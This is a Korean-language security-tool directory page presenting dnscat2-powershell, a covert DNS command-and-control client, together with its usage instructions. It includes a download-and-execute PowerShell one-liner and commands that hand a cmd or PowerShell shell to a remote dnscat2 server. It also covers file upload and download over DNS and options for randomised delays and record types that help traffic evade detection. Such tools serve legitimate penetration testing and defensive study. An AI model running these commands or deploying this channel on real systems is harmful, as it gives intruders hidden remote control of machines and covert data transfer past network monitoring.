Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/lukebaggett/dnscat2-powershell
Encryption/Decryption ToolsPost-ExploitationPenetration TestingCommand and ControlRed TeamingDNS AnalysisArchived
GitHublukebaggett/dnscat2-powershell

dnscat2-powershell

dnscat2를 위한 Powershell 클라이언트, 암호화된 DNS 명령 및 제어 도구.

저장소 보기
4351233년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

dnscat2는 @iagox86 (Ron Bowes)가 개발한 DNS 은닉 채널 도구로, DNS 요청을 통해 데이터를 전송하는 데 사용됩니다.

이것은 dnscat2 C 클라이언트의 PowerShell 버전입니다.

블로그 글에서 이 스크립트의 목적과 사용 방법에 대한 자세한 설명을 확인하세요.

이 스크립트를 사용하려면 Ruby dnscat2 서버가 필요합니다. 서버를 실행할 때 반드시 --no-cache 옵션을 추가하세요. 이 클라이언트는 서버의 캐싱과 호환되지 않습니다.

설정

먼저 dnscat2 서버를 설치하세요. --no-cache를 사용하여 캐싱을 비활성화한 상태로 서버를 시작하세요. 서버 시작 명령은 다음과 같아야 합니다: ruby dnscat2.rb --dns="domain=example.com" --no-cache

다음으로 Windows PowerShell(버전 2.0 이상)을 실행하세요. 다음 명령을 사용하여 dnscat2 PowerShell 함수를 로드할 수 있습니다:

root@kitploit:~
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')

예제

Start-Dnscat2는 클라이언트로 사용되는 실제 함수입니다. -Domain을 사용하여 dnscat2 서버를 지정하세요.

root@kitploit:~
명령 세션을 시작하고 포트 53의 8.8.8.8로 DNS 요청을 보냅니다:
    Start-Dnscat2 -Domain <dnscat2 server> -DNSServer 8.8.8.8

cmd 셸을 보내고 Windows에 설정된 기본 DNS 서버로 DNS 요청을 보냅니다:
    Start-Dnscat2 -Domain <dnscat2 server> -Exec cmd

콘솔 세션을 시작합니다. CNAME, MX, AAAA 요청만 사용합니다:
    Start-Dnscat2 -Domain <dnscat2 server> -LookupTypes @("CNAME","MX","AAAA") -Console

세션을 암호화하지 않습니다. 암호화는 기본적으로 활성화되어 있습니다.
    Start-Dnscat2 -Domain <dnscat2 server> -NoEncryption

PowerShell 명령 세션 명령

클라이언트는 일반 dnscat2 명령 또는 해당 명령의 PowerShell 버전을 처리할 수 있습니다. 명령의 PowerShell 버전을 사용하려면 클라이언트가 감지할 특정 매개변수를 설정하세요(이는 서버의 명령 세션에서 실행되는 명령입니다):

root@kitploit:~
ExecPS와 같이 PowerShell 셸을 시뮬레이션하는 새 세션을 시작합니다:
    exec psh

서버의 app.exe를 $app PowerShell 변수에 저장된 16진수 문자열로 업로드합니다:
    upload app.exe hex:$app

$app PowerShell 변수에 저장된 바이트 배열을 서버의 app.exe로 다운로드합니다:
    download bytes:$app app.exe

Start-Dnscat2

root@kitploit:~
-Domain <String>          dnscat2 서버에서 사용 중인 도메인.
-DNSServer <String>       DNS 쿼리를 보낼 호스트 이름 또는 IP 주소. (기본값: Windows에서 설정)
-DNSPort <Int32>          DNS 쿼리를 보낼 포트. (기본값: 53)

-Command                  명령 세션을 시작합니다. (기본값)
-Exec <String>            프로세스의 I/O를 Dnscat2 세션과 연결합니다.
-Console                  콘솔의 I/O를 Dnscat2 세션과 연결합니다.
-ExecPS                   PowerShell 세션을 시뮬레이션하고 I/O를 Dnscat2 세션과 연결합니다.
                          경고: 종료하면 세션뿐만 아니라 전체 dnscat2 클라이언트가 종료됩니다.

-PreSharedSecret          서버에 동일한 비밀을 설정하여 인증하고 MITM을 방지합니다.
-NoEncryption             암호화를 사용하지 않습니다.

-LookupTypes <String[]>   무작위로 전환할 조회 유형의 배열을 설정합니다.
                          TXT, MX, CNAME, A, AAAA 레코드만 지원됩니다. 기본값: @(TXT, MX, CNAME)
-Delay <Int32>            각 요청 사이의 지연 시간(밀리초)을 설정합니다. (기본값: 0)
-MaxRandomDelay <Int32>   일반 지연 시간에 추가되는 무작위 지연의 최대값(밀리초)을 설정합니다. (기본값: 0)
-MaxPacketSize <Int32>    dnscat2 패킷의 최대 길이. (기본값: 240)
-Name <String>            dnscat2 세션의 이름. (기본값: 호스트 이름)

ExecPS와 'exec psh'

dnscat2-powershell은 서버의 데이터를 Invoke-Expression에 전달하여 PowerShell 세션을 시뮬레이션합니다. stdout만 반환되며, 클라이언트가 실행 중인 동안 변수가 유지됩니다. "exit"나 "break" 같이 PowerShell을 종료하는 작업에 주의하세요. 전체 dnscat2-powershell 클라이언트가 종료되며, ExecPS 세션만 종료되는 것이 아닙니다.

기타 크레딧

  • stackoverflow의 db9의 BouncyCastle ECDH 데모
  • C#을 통한 PowerShell에서의 FrankSpierings의 Salsa20 및 Sha3 구현
  • ECC용 BouncyCastle DLL의 Rebex Labs 축소 버전
도구 다운로드